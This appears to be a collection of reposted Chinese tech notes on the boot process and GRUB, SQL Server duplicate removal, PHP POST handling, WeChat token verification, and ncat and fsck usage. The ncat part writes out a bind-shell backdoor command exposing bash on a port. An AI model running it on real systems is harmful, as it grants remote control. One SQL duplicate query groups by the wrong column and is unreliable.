分区表硬盘分区有很多好处。考虑到每个区可以安装不同的操作系统,”主引导记录”因此必须知道将控制权转交给哪个区。分区表的长度只有64个字节,里面又分成四项,每项16个字节。所以,一个硬盘最多只能分四个一级分区,又叫做”主分区”。每个主分区的16个字节,由6个部分组成:(1) 第1个字节:如果为0x80,就表示该主分区是激活分区,控制权要转交给这个分区。四个主分区里面只能有一个是激活的。(2) 第2-4个字节:主分区第一个扇区的物理位置(柱面、磁头、扇区号等等)。(3) 第5个字节:主分区类型。(4) 第6-8个字节:主分区最后一个扇区的物理位置。(5) 第9-12字节:该主分区第一个扇区的逻辑地址。(6) 第13-16字节:主分区的扇区总数。最后的四个字节(”主分区的扇区总数”),决定了这个主分区的长度。也就是说,一个主分区的扇区总数最多不超过2的32次方。如果每个扇区为512个字节,就意味着单个分区最大不超过2TB。再考虑到扇区的逻辑地址也是32位,所以单个硬盘可利用的空间最大也不超过2TB。如果想使用更大的硬盘,只有2个方法:一是提高每个扇区的字节数,二是增加扇区总数。三、第三阶段:硬盘启动这时,计算机的控制权就要转交给硬盘的某个分区了,这里又分成三种情况。3.1 情况A:卷引导记录上一节提到,四个主分区里面,只有一个是激活的。计算机会读取激活分区的第一个扇区,叫做”卷引导记录”(Volume boot record,缩写为VBR)。“卷引导记录”的主要作用是,告诉计算机,操作系统在这个分区里的位置。然后,计算机就会加载操作系统了。3.2 情况B:扩展分区和逻辑分区随着硬盘越来越大,四个主分区已经不够了,需要更多的分区。但是,分区表只有四项,因此规定有且仅有一个区可以被定义成”扩展分区”(Extended partition)。所谓”扩展分区”,就是指这个区里面又分成多个区。这种分区里面的分区,就叫做”逻辑分区”(logical partition)。计算机先读取扩展分区的第一个扇区,叫做”扩展引导记录”(Extended boot record,缩写为EBR)。它里面也包含一张64字节的分区表,但是最多只有两项(也就是两个逻辑分区)。计算机接着读取第二个逻辑分区的第一个扇区,再从里面的分区表中找到第三个逻辑分区的位置,以此类推,直到某个逻辑分区的分区表只包含它自身为止(即只有一个分区项)。因此,扩展分区可以包含无数个逻辑分区。但是,似乎很少通过这种方式启动操作系统。如果操作系统确实安装在扩展分区,一般采用下一种方式启动。3.3 情况C:启动管理器在这种情况下,计算机读取”主引导记录”前面446字节的机器码之后,不再把控制权转交给某一个分区,而是运行事先安装的”启动管理器”(boot loader),由用户选择启动哪一个操作系统。Linux环境中,目前最流行的启动管理器是Grub。对于grub而言,在MBR中的446字节的引导程序属于GRUB的开始执行程序,通过这段程序,进一步执行stage1.5或是stage2的执行程序,将在下面详细介绍执行过程。其中stage1.5或是stage2便属于阶段2引导的过程了,stage2过程也是作为GRUB kernel的核心代码出现。Stage1.5过程(对于GRUB而言存在stage1.5,GRUB2则不存在)的功能很单一,主要就是为了引导stage2过程服务。由于stage2过程的代码存放在文件系统下的boot分区目录中,因此stage1.5过程就是需要提供一个文件系统的环境,而该文件系统环境需要保证系统可以找到stage2过程的文件,那么stage1.5阶段提供的文件系统需要是boot文件系统所对应的,这个在执行grub install过程中就已经确定了。stage2过程中,主要会把系统切换到保护模式,设置好C运行时环境,找到config文件(事实上就是menulist文件),如果没有找到就执行一个shell,等待用户的执行。然后的工作就变成了输入命令->解析命令->执行命令的循环中。当然该阶段引导的最终状态就是执行boot命令,将内核和initrd镜像加载进入内存中,进而将控制权转交给内核。四、第四阶段:操作系统控制权转交给操作系统后,操作系统的内核首先被载入内存。以Linux系统为例,先载入/boot目录下面的kernel。内核加载成功后,第一个运行的程序是/sbin/init。它根据配置文件(Debian系统是/etc/initab)产生init进程。这是Linux启动后的第一个进程,pid进程编号为1,其他进程都是它的后代。然后,init线程加载系统的各个模块,比如窗口程序和网络程序,直至执行/bin/login程序,跳出登录界面,等待用户输入用户名和密码。至此,全部启动过程完成。另外在大磊的博客中还有许多细节部分:BIOS启动细节:a) 按下电源开关,电源就开始向主板和其它设备供电;当芯片组检测到电源已经开始稳定供电了(当然从不稳定到稳定的过程只是一瞬间的事情),它便撤去RESET信号(如果是手工按下计算机面板上的Reset按钮来重启机器,那么松开该按钮时芯片组就会撤去RESET信号);CPU马上就从地址FFFF:0000H 处开始执行指令,放在这里的只是一条跳转指令,跳到系统BIOS中真正的启动代码处。b) 系统BIOS的启动代码首先进行POST(Power-On Self Test,加电后自检)。POST的主要检测系统中一些关键设备是否存在和能否正常工作,例如内存和显卡等设备;由于POST是最早进行的检测过程,此时显卡还没有初始化,如果系统BIOS在进行POST的过程中发现了一些致命错误,例如没有找到内存或者内存有问题(此时只会检查640K常规内存),那么系统BIOS就会直接控制喇叭发声来报告错误,声音的长短和次数代表了错误的类型;在正常情况下,POST过程进行得非常快,几乎无法感觉到它的存在。POST结束之后就会调用其它代码来进行更完整的硬件检测。c) 接下来系统BIOS将查找显卡的BIOS。前面说过,存放显卡BIOS的ROM芯片的起始地址通常设在C0000H处,系统BIOS在这个地方找到显卡BIOS之后就调用它的初始化代码,由显卡BIOS来初始化显卡。此时多数显卡都会在屏幕上显示出一些初始化信息,介绍生产厂商、图形芯片类型等内容,不过这个画面几乎是一闪而过。系统BIOS接着会查找其它设备的BIOS程序,找到之后同样要调用这些BIOS内部的初始化代码来初始化相关的设备。d) 查找完所有其它设备的BIOS之后,系统BIOS将显示出它自己的启动画面,其中包括有系统BIOS的类型、序列号和版本号等内容。e) 接着系统BIOS将检测和显示CPU的类型和工作频率,测试所有的RAM,并同时在屏幕上显示内存测试的进度。可以在CMOS设置中自行决定使用简单耗时少或者详细耗时多的测试方式。f) 内存测试通过之后,系统BIOS将开始检测系统中安装的一些标准硬件设备,包括硬盘、CD-ROM、串口、并口和软驱等设备,另外绝大多数较新版本的系统BIOS在这一过程中还要自动检测和设置内存的定时参数、硬盘参数和访问模式等。g) 标准设备检测完毕后,系统BIOS内部支持即插即用的代码将开始检测和配置系统中安装的即插即用设备。每找到一个设备之后,系统BIOS都会在屏幕上显示出设备的名称和型号等信息,同时为该设备分配中断、DMA通道和I/O端口等资源。h) 到这一步为止,所有硬件都已经检测配置完毕了,多数系统BIOS会重新清屏并在屏幕上方显示出一个表格,其中概略地列出了系统中安装的各种标准硬件设备,以及它们使用的资源和一些相关工作参数。i) 接下来系统BIOS将更新ESCD(Extended System Configuration Data,扩展系统配置数据)。ESCD是系统BIOS用来与操作系统交换硬件配置信息的一种手段,这些数据被存放在CMOS(一小块特殊的RAM,由主板上的电池来供电)之中。通常ESCD数据只在系统硬件配置发生改变后才会更新,所以不是每次启动机器时都能够看到“Update ESCD… Success”这样的信息。不过,某些主板的系统BIOS在保存ESCD数据时使用了与Windows 9x不相同的数据格式,于是Windows 9x在它自己的启动过程中会把ESCD数据修改成自己的格式。但在下一次启动机器时,即使硬件配置没有发生改变,系统BIOS也会把ESCD的数据格式改回来。如此循环,将会导致在每次启动机器时,系统BIOS都要更新一遍ESCD,这就是为什么有些机器在每次启动时都会显示出相关信息的原因。j) ESCD更新完毕后,系统BIOS的启动代码将进行它的最后一项工作:即根据用户指定的启动顺序从软盘、硬盘或光驱启动MBR。在这个过程中会按照启动顺序顺序比较其放置MBR的位置的结尾两位是否为0xAA55,通过这种方式判断从哪个引导设备进行引导。在确定之后,将该引导设备的MBR内容读入到0x7C00[1]的位置,并再次判断其最后两位,当检测正确之后,进行阶段1的引导。EFI启动细节 与传统MBR相比,GPT采用了不同的分区方式。对于传统MBR,其结构主要如下:上图即对上文中所述的很形象的说明,在图中看到MBR被分成三个部分,分别是:Bootloader、分别表以及Magic Number。其中Bootloader部分为stage1中被执行的起始部分。相反,对于EFI系统中所采用的GPT分区方式,则采用了不同于MBR分区方式的形式,从下图中可以发现:如上图所示,GPT分区表主要包括:保护MBR、首要GPT头、首要GPT、备用GPT、备用GPT头和磁盘数据区。保护MBR与正常的MBR区别不大,主要是分区表上的不同,在保护MBR中只要一个表示为0xEE的分区,以此来表示这块硬盘使用GPT分区表。首要GPT头包含了众多信息,具体内容如下:分区表头定义了硬盘的可用空间以及组成分区表的项的大小和数量。分区表头还记录了这块硬盘的GUID,记录了分区表头本身的位置和大小(位置总是在LBA1)以及备份分区表头和分区表的位置和大小(在硬盘的最后)。它还存储着它本身和分区表的CRC32校验。固件、引导程序和操作系统在启动时可以根据这个校验值来判断分区表是否有错误,如果出错了,可以使用软件从硬盘最后的备份GPT分区表恢复整个分区表,如果备份GPT也校验错误,那么磁盘将不可用,系统拒绝启动。接下来主要是128个分区表项,GPT分区表使用简单而直接的方式表示分区。一个分区表项的前16字节是分区类型GUID。例如,EFI系统分区的GUID类型是{C12A7328-F81F-11D2-BA4B-00A0C93EC93B} 。接下来的16字节是该分区的唯一的GUID(这个指的是该分区本身,而之前的GUID指的是该分区的类型)。在接下来是分区其实和末尾的64位LBA编号,以及分区的名字和属性。具体结构如下表:MBR引导接下来开始真正的引导过程了,主要说明GRUP的引导。总体上GRUB更像是一个mini os,只不过这个mini os的作用只是加载其他的操作系统,在GRUB中包括stage1、stage1.5(可选)和stage2,其中stage1和stage1.5属于boot loader,stage2属于mini os的内核部分。GRUB中stage1过程主要位于MBR的前446字节中(对于支持GPT分区的磁盘,同样有最开始的512字节作为保护MBR,保护MBR与正常的MBR区别不大,主要是分区表上的不同,在保护MBR中只要一个表示为0xEE的分区,以此来表示这块硬盘使用GPT分区表,不能识别GPT硬盘的操作系统通常会识别出一个未知类型的分区,并且拒绝对硬盘进行操作),之后的64字节为硬盘的分区表,最后两个字节为MBR结束标志位(0xAA55)。stage1部分占用了446字节,其代码文件是源码目录下stage1/stage1.S文件,汇编后生成一个512字节的boot.img,被写在硬盘的0面0道1扇区中,作为硬盘的MBR。stage1的工作很简单,就是加载0面0道2扇区上的512字节到0×8000,然后跳转到0×8000执行。在0面0道2扇区上的512字节内容为stage1/start.S文件汇编后生成。该扇区上的内容的作用是加载stage1.5或是stage2过程,并将控制权转交。Grub引导在start过程将控制权转交后,接下来就是GRUB的核心过程了。该过程之所以区分stage1.5和stage2,主要原因是GRUB和GRUB2的区别。在GRUB2中,将stage1.5过程集成到了stage2的过程中,所以stage1.5过程仅仅是针对GRUB的。下面将会分别介绍两种GRUB版本的两种过程。4.1 GRUB中stage1.5过程Stage1.5过程很无辜,它的作用很单一,但是非常关键。它的主要功用就是构造一个boot分区系统对应的文件系统,这样可以通过文件系统的路径(/boot/grub/)寻找stage2过程需要的core.img,进而加载到内存中开始执行。Stage1.5存在于0面0道3扇区开始的地方,并一直延续十几k字节的区域,具体的大小与相应的文件系统的大小有关(文中涉及到了0面0道1-3+x扇区,这部分扇区为保留扇区,BIOS不会放置任何数据。正因为如此如果转换到GPT分区形式,系统将不能被正确引导,如上文所示,MBR后面的扇区都被其他内容所占据)。Stage1.5过程被构建成多种不同类型,但是功能类似,下面简单介绍一下基本的stage1.5过程的文件系统。e2fs_stage1_5(针对ext2fs,可引导ext2和ext3文件系统)、fat_stage1_5(针对fat文件系统,可引导fat32和fat16)、ffs_stage1_5、jfs_stage1_5、minix_stage1_5、reiserfs_stage1_5、vstafs_stage1_5和xfs_stage1_5,这些文件被称为stage1.5过程,这些文件每个至少都在11k以上。除此之外还有两个比较特殊的文件,分别为nbgrub和pxegrub,这两个文件主要是在网络引导时使用,只是格式不同而已,他们很类似与stage2,只是需要建立网络来获取配置文件。由于stage1.5过程中会涉及到多个文件系统对应的文件,因此本文中主要以ext2fs为例进行说明,其他文件系统与此类似,可以同样进行分析理解。对于ext2fs文件系统,用于生成该文件系统的stage1.5过程文件(e2fs_stage1_5)的代码为stage2/fsys_ext2fs.c文件。在stage2/filesys.h文件中定义了每个文件系统对外的接口,用于上层调用,作为stage2过程寻找核心代码使用,文件系统一般被定义的接口主要就是三个函数,分别是mount、read和dir函数。对应ext2fs,其定义的函数为:12345678#ifdef FSYS_EXT2FS#define FSYS_EXT2FS_NUM 1int ext2fs_mount (void);int ext2fs_read (char *buf, int len);int ext2fs_dir (char *dirname);#else#define FSYS_EXT2FS_NUM 0#endif针对ext2fs有如上的函数名称,每个函数将具体在stage2/fsys_ext2fs.c文件中被定义,这里面没有包含任何的写的过程,对于bootloader而言仅仅读就可以完成任务了,没必要对其系统进行写操作。其中ext2fs_mount函数用于检查文件系统类型,并将superblock读入到内存中;ext2fs_read函数和ext2fs_dir函数用于对文件系统具体的操作。在stage2/fsys_ext2fs.c文件中除了需要对这三个函数的定义之外,还需要文件系统的属性的数据结构(superblock、inode和group结构,这些结构最初被定义在include/linux/ext2_fs.h文件中),通过这些数据结构描述一个文件系统。如果读者有兴趣可以试着创建新的文件系统的支持,可以参照目前存在的一些文件系统的模板(实例)编写。4.2 GRUB中stage2过程GRUB中的核心过程也就是stage2过程了,该过程主要是在文件系统建立以后选择合适的操作系统进行加载并转交控制权,达到最后引导操作系统的目标。由于GRUB属于multi boot loader,因此在引导的时候要进行选择,选择哪种操作系统来运行。在GRUB内部主要包括两种方式,首先是从menu.list中读取显示到屏幕让用户选择,其次是通过grub-shell中定义的命令手动进行启动。本文将在后面介绍这两种方式如何运行,接下来先介绍一下stage2的具体的执行过程。在上面一节中介绍过,stage1.5过程中将boot分区的文件系统加载了,之后又做了一件事情,就是将控制权转交给stage2,而stage2入口的地方就是stage2/asm.S文件。Stage2/asm.S文件属于汇编代码,主要作用是初始化C语言的运行环境,为下面执行C语言的函数做好准备,在准备好之后,将执行init_bios_info(stage2/common.c)函数。init_bios_info函数的作用是执行一些底层的函数,然后跳转到cmain执行,cmain函数位于stage2/stage2.c文件中。cmain函数内部进行一个死循环,在循环内部首先加载配置文件,显示给用户,在这同时循环一个内层循环,在内层循环中,获取配置文件中的命令,并解析执行。过程中如果没有可用的配置文件,那么进入命令行模式(enter_cmdline函数),如果找到可用的menu,那么开始执行menu的对应的内容(run_menu函数)。对于enter_cmdline(stage2/stage2.c)函数,将调用find_command(stage2/cmdline.c),进而执行相应命令的函数。对于run_menu(stage2/stage2.c)函数,将调用stage2/cmdline.c文件中的run_script函数,进而调用find_command,执行相应命令的函数。这两种方式虽然经过了不同的过程,对用户输入的行为进行分析和处理,最终调用的函数为find_command,在该函数中顺序循环比较“输入”的命令是否与系统内部定义的相同,如果相同转到执行该函数。在这个比较的过程中包含了一个全局的数据结构为struct builtin(stage2/shared.h),由该数据结构组成了一个table类型(stage2/builtins.c),将命令与相对应的builtin结构对应一起并进行串联。下面描述一下builtin结构的定义:1234567891011121314struct builtin { /* 命令名称,重要,是搜索命令时的依据*/ char *name; /* 命令函数,重要,是搜索匹配后调用的函数*/ int (*func) (char *, int); /* 功能标示,一般未用到. */ int flags; /* 简短帮助信息*/ char *short_doc; /* 完整帮助信息*/ char *long_doc;}; struct builtin *builtin_table[]struct builtin *builtin_table[];有兴趣的读者可以对上面的内容进行扩展,形成自己的命令,主要在stage2/builtins.c文件中按照预定的格式更新,并添加到builtin_table中即可。在上面打开配置文件的过程中,主要是通过一些文件操作函数(被定义在stage2/disk_io.c中)完成。这些文件操作函数主要包括:grub_open、grub_read、grub_seek和grub_close等,这些函数属于grub对外的上层接口,具体的函数内部将调用前文中提到的boot分区对应的文件系统的相应的函数完成,这个过程主要是通过回调函数来完成。该过程整体思路类似于面向对象过程,通过对象操作具体的函数。【摘自网络】
教你几种在SQLServer中删除重复数据方法数据库的使用过程中由于程序方面的问题有时候会碰到重复数据,重复数据导致了数据库部分设置不能正确设置……方法一 代码如下:declare @max integer,@id integer declare cur_rows cursor local for select 主字段,count(*) from 表名 group by 主字段 having count(*) > 1 open cur_rows fetch cur_rows into @id,@max while @@fetch_status=0 begin select @max = @max -1 set rowcount @max delete from 表名 where 主字段 = @id fetch cur_rows into @id,@max end close cur_rows set rowcount 0 方法二 有两个意义上的重复记录,一是完全重复的记录,也即所有字段均重复的记录,二是部分关键字段重复的记录,比如Name字段重复,而其他字段不一定重复或都重复可以忽略。 1、对于第一种重复,比较容易解决,使用 代码如下:select distinct * from tableName就可以得到无重复记录的结果集。 如果该表需要删除重复的记录(重复记录保留1条),可以按以下方法删除代码如下:select distinct * into #Tmp from tableName drop table tableName select * into tableName from #Tmp drop table #Tmp 发生这种重复的原因是表设计不周产生的,增加唯一索引列即可解决。 2、这类重复问题通常要求保留重复记录中的第一条记录,操作方法如下 假设有重复的字段为Name,Address,要求得到这两个字段唯一的结果集代码如下:select identity(int,1,1) as autoID, * into #Tmp from tableName select min(autoID) as autoID into #Tmp2 from #Tmp group by Name,autoID select * from #Tmp where autoID in(select autoID from #tmp2)最后一个select即得到了Name,Address不重复的结果集(但多了一个autoID字段,实际写时可以写在select子句中省去此列)
SQL效率提升之一些SQL编写建议并有效利用索引1.日期属性列,不会因为有分秒差别而减慢查询速度 2. 使用LIKE比较进行查询时,如果模式以特定字符串如“abc%”开头,使用索引则会提高效率;如果模式以通配符如“%xyz”开头,则索引不起作用 3. OR会引起全表扫描,且和IN的作用相当 4. 尽量少用NOT 5. EXISTS 和 IN的执行效率是一样的 6. 用函数charindex()和前面加通配符%的LIKE执行效率一样 7. UNION并不绝对比OR的执行效率高 8. 字段提取要按照“需多少、提多少”的原则,避免“SELECT *” 9. COUNT(*)不比COUNT (字段)慢 10. ORDER BY按聚集索引列排序效率最高 11. 多用“TOP”进行数据提取,可提高效率
微信中公众号开发中使用$GLOBALS["HTTP_RAW_POST_DATA"]来获取微信公众平台推送过来的post数据,结果惊奇的发现微信号总是提示“该微信公众号暂时无法提供服务”,仔细去检查代码,也没错,可就是无法提供服务。今天又检查了一把,还是没有语法错误,于是乎,我将中间的所有数据全部写到的记事本里去,通过及时本发现$GLOBALS["HTTP_RAW_POST_DATA"]获取的数据是空的。经过资料查找,终于发现了解决的套路: $GLOBALS ["HTTP_RAW_POST_DATA"]跟$_POST,file_get_contents('php://input') 差不多,用$GLOBALS ["HTTP_RAW_POST_DATA"]或file_get_contents('php://input')的情况大多是为了获取$_POST无法接收的数据类型(如XML数据) 在$GLOBALS ["HTTP_RAW_POST_DATA"]取不到值的情况下可以按以下方式排查: 1.用file_get_contents('php://input')获取数据。如果获取不到,则可能是数据传输错误,对请求进行捉包,分析数据。 2.如果file_get_contents('php://input')有数据。则查看php.ini配置文件。 找到如下,如果没开启则开启[php] view plain copyalways_populate_raw_post_data = On 注意:这种处理方式是在php版本较低的时候,在php-ini中才有的配置,当版本升级到7,或者更高的时候该机制就被废弃掉了。下边归纳几种php获取post数据的方式: RPC 规定接收取值方式 $GLOBALS['HTTP_RAW_POST_DATA']; PHP默认识别的数据类型是application/x-www.form-urlencoded标准的数据类型。 1、$_POST['paramName'] 只能接收Content-Type: application/x-www-form-urlencoded提交的数据,php会将http请求body相应数据会 填入到数组$_POST,填入到$_POST数组中的数据是进行urldecode()解析的结果。(其实,除了该Content-Type,还有 multipart/form-data表示数据是表单数据) 2、file_get_contents("php://input") 适用大多数类型的Content-type,php://input 允许读取 POST 的原始数据。和 $HTTP_RAW_POST_DATA 比起来,它给内存带来的压力较小,并且不需要任何特殊的 php.ini 设置。php://input 不能用于 enctype="multipart/form-data"。 3、$GLOBALS['HTTP_RAW_POST_DATA']; 总是产生 $HTTP_RAW_POST_DATA 变量包含有原始的 POST 数据。此变量仅在碰到未识别 MIME 类型的数据时产生。$HTTP_RAW_POST_DATA 对于 enctype="multipart/form-data" 表单数据不可用。 如果post过来的数据不是PHP能够识别的,你可以用 $GLOBALS['HTTP_RAW_POST_DATA']来接收,比如 text/xml 或者 soap 等等。需要设置php.ini中的always_populate_raw_post_data值为On,PHP才会总把POST数据填入变量$http_raw_post_data。 1,Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form- data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST 2,PHP不能识别的Content-Type类型的时候,会将http请求包中相应的数据填入变量$HTTP_RAW_POST_DATA 3, 只有Coentent-Type不为multipart/form-data的时候,PHP不会将http请求数据包中的相应数据填入php: //input,否则其它情况都会。填入的长度,由Coentent-Length指定。 4,只有Content-Type为application/x-www-data-urlencoded时,php://input数据才 跟$_POST数据相一致。 5,php://input数据总是跟$HTTP_RAW_POST_DATA相同,但是php://input 比$HTTP_RAW_POST_DATA更凑效,且不需要特殊设置php.ini 6,PHP会将PATH字段的query_path部分,填入全局变量$_GET。通常情况下,GET方法提交的http请求,body为空。 总之: 1、如果是 application/x-www-form-urlencoded 和 multipart/form-data 格式 用 $_POST; 2、如果不能获取的时候比如 text/xml、application/json、soap,使用 file_get_contents('php://input');
一. 1. 首先要了解的是什么是URL和Token,在这里,URL就是放置了接口程序的网址,这个网址一般得是你自己的服务器或空间地址。你自己在这个空间上某个目录已经有接口程序了,你知道这个接口程序在互联网上的访问地址是什么。而Token就是一个令牌,该令牌是个数字或字母形式的字符串,用于微信服务器与你的服务器进行通讯的时候的身份验证。防止非法数据来搞乱。2. 然后要了解的是开发模式为什么要使用Url和Token,使用url是为了让微信服务器和你的服务器进行通讯对话,从而达到开发模式下自动回复的目的。而实现这个通讯,必须有相应的程序为你完成这个功能,而这个程序必须已经开发完成并且放置于url路径下面,当你填写完url和token的时候,微信服务器就会和你的服务器下的程序进行一次认证过程,认证通过表明这个服务器是你的并且程序没有问题。不然你填个不存在的url或者url下面个没有相应的接口功能,那是通不过的。3.那么如何处理如下问题”token验证失败”二.处理方法 1.在网站目录中创建一个文件:如wx_sample.php 写入如下代码,注意记住定义的token值这里是roselife <?php //define your token define("TOKEN", "roselife"); $wechatObj = new wechatCallbackapiTest(); $wechatObj->valid(); class wechatCallbackapiTest { public function valid() { $echoStr = $_GET["echostr"]; //valid signature , option if($this->checkSignature()){ echo $echoStr; exit; } } public function responseMsg() { //get post data, May be due to the different environments $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; //extract post data if (!empty($postStr)){ $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $time = time(); $textTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType> <Content><![CDATA[%s]]></Content> <FuncFlag>0</FuncFlag> </xml>"; if(!empty( $keyword )) { $msgType = "text"; $contentStr = "Welcome to wechat world!"; $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); echo $resultStr; }else{ echo "Input something..."; } }else { echo ""; exit; } } private function checkSignature() { $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $token = TOKEN; $tmpArr = array($token, $timestamp, $nonce); sort($tmpArr); $tmpStr = implode( $tmpArr ); $tmpStr = sha1( $tmpStr ); if( $tmpStr == $signature ){ return true; }else{ return false; } } } ?>2.在微擎中修改token值也是为roselife 3.登陆微信公众平台中:开发——基本配置——修改配置中 a.服务器配置地址(URL):域名后后面跟wx_sample.php b.token填写的也是roselife 3.确定修改测试.
ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 你需要用下列命令手工安装。[root@linuxtechi ~]# yum install nmap-ncat -y系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 nc 我们可以控制发送的每个字符,也可以查看对方的回应。我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。在本文中,我们会通过 10 个例子来学习如何使用 nc 命令。例子: 1) 监听入站连接通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:$ ncat -l port_number比如$ ncat -l 8080服务器就会开始在 8080 端口监听入站连接。例子: 2) 连接远程系统使用下面命令可以用 nc 来连接远程系统,$ ncat IP_address port_number让我们来看个例子,$ ncat 192.168.1.100 80这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容GET / HTTP/1.1或者获取页面名称,GET / HTTP/1.1或者我们可以通过以下方式获得操作系统指纹标识,HEAD / HTTP/1.1这会告诉我们使用的是什么软件来运行这个 web 服务器的。例子: 3) 连接 UDP 端口默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口,$ ncat -l -u 1234现在我们的系统会开始监听 UDP 的 1234 端口,我们可以使用下面的 netstat 命令来验证这一点,$ netstat -tunlp | grep 1234 udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc udp6 0 0 :::1234 :::* 17341/nc假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令,$ ncat -v -u {host-ip} {udp-port}比如:[root@localhost ~]# ncat -v -u 192.168.105.150 53 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.105.150:53。例子: 4) 将 nc 作为聊天工具nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:$ ncat -l 8080在远程客户端主机上运行:$ ncat 192.168.1.100 8080之后开始发送消息,这些消息会在服务器终端上显示出来。例子: 5) 将 nc 作为代理nc 也可以用来做代理。比如下面这个例子,$ ncat -l 8080 | ncat 192.168.1.200 80所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:$ mkfifo 2way $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way现在你可以通过 nc 代理来收发数据了。例子: 6) 使用 nc 拷贝文件nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。在要接受数据的机器上启动 nc 并让它进入监听模式:$ ncat -l 8080 > file.txt现在去要被拷贝数据的机器上运行下面命令:$ ncat 192.168.1.100 8080 --send-only < data.txt这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。例子: 7) 通过 nc 创建后门nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:$ ncat -l 10000 -e /bin/bash-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:$ ncat 192.168.1.100 10000例子: 8) 通过 nc 进行端口转发我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:$ ncat -u -l 80 -c 'ncat -u -l 8080'这样,所有连接到 80 端口的连接都会转发到 8080 端口。例子: 9) 设置连接超时nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:$ ncat -w 10 192.168.1.100 8080这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。例子: 10) 使用 -k 选项强制 nc 待命当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:$ ncat -l -k 8080现在即使来自客户端的连接断了也依然会处于待命状态。[来自: https://linux.cn/article-9190-1.html]
FSCK 是一个很重要的 Linux/Unix 工具,它用于检测并修复文件系统中的错误。它类似于 Windows 操作系统中的 “chkdsk” 工具,但它是为 Linux、MacOS、FreeBSD 操作系统所准备的。FSCK 全称为 File System Consistency Check。在大多数时候,它在系统启动时运行,但是如果需要的话,它也能被超级用户手工启动。它可以进行三种模式的操作:查错并在发现错误时由用户决定如何处理,查错并自动修复,查错但在发现错误时只显示错误而不进行修复。FSCK 的语法手工执行 FSCK 的语法为,$ fsck options drivesfsck 支持的选项有,-p 自动修复(不询问)-n 不对文件系统做出改动-y 对所有问题都回答 "yes"-c 检查所有的坏块并将之添加到坏块列表中-f 即使文件系统标记为 clean 也强制进行检查-v 输出详细信息-b superblock 使用替代的超级块-B blocksize 指定超级块的块大小-j external_journal 指定外部日志的位置-l bad_blocks_file 添加到指定的坏块列表(文件)-L bad_blocks_file 指定坏块列表(文件)我们可以根据要做的操作任意指定这些选项。下面让我们来看一些例子。Fsck 命令的案例注意: 在开始讨论案例之前,请先读完这段话。我们不应该用 fsck 检查已挂载的磁盘,这很可能会对磁盘造成永久性的伤害。因此在开始使用 fsck 之前,我们需要使用下面命令来卸载磁盘,$ umount drivename比如像这样,$ umount /dev/sdb1可以通过下面命令来查看分区编号,$ fdisk -l另外,在运行 fsck 时,可能出错并返回一些错误码。下面是一些常见的错误及其意义的列表,0 - 没有错误1 - 修复了一些文件系统错误2 - 系统需要被重启4 - 文件系统错误未被修复8 - 操作错16 - 使用或语法错32 - fsck 被用户取消128 - 共享库出错现在让我们来看一些 fsck 命令的例子1.在单个分区上进行错误检查在终端运行下面过命令来对单个分区进行检查,$ umount /dev/sdb1 $ fsck /dev/sdb12.检查文件系统错误并自动修复使用选项 -a 进行一致性检查并自动修复这些错误。也可以用 -y 替代 -a 选项。$ fsck -a /dev/sdb13.检查文件系统错误但并不进行修复若我们只想知道文件系统上有哪些错误而不想修复这些错误,那么可以使用选项 -n,$ fsck -n /dev/sdb14.检查所有分区中的错误-A 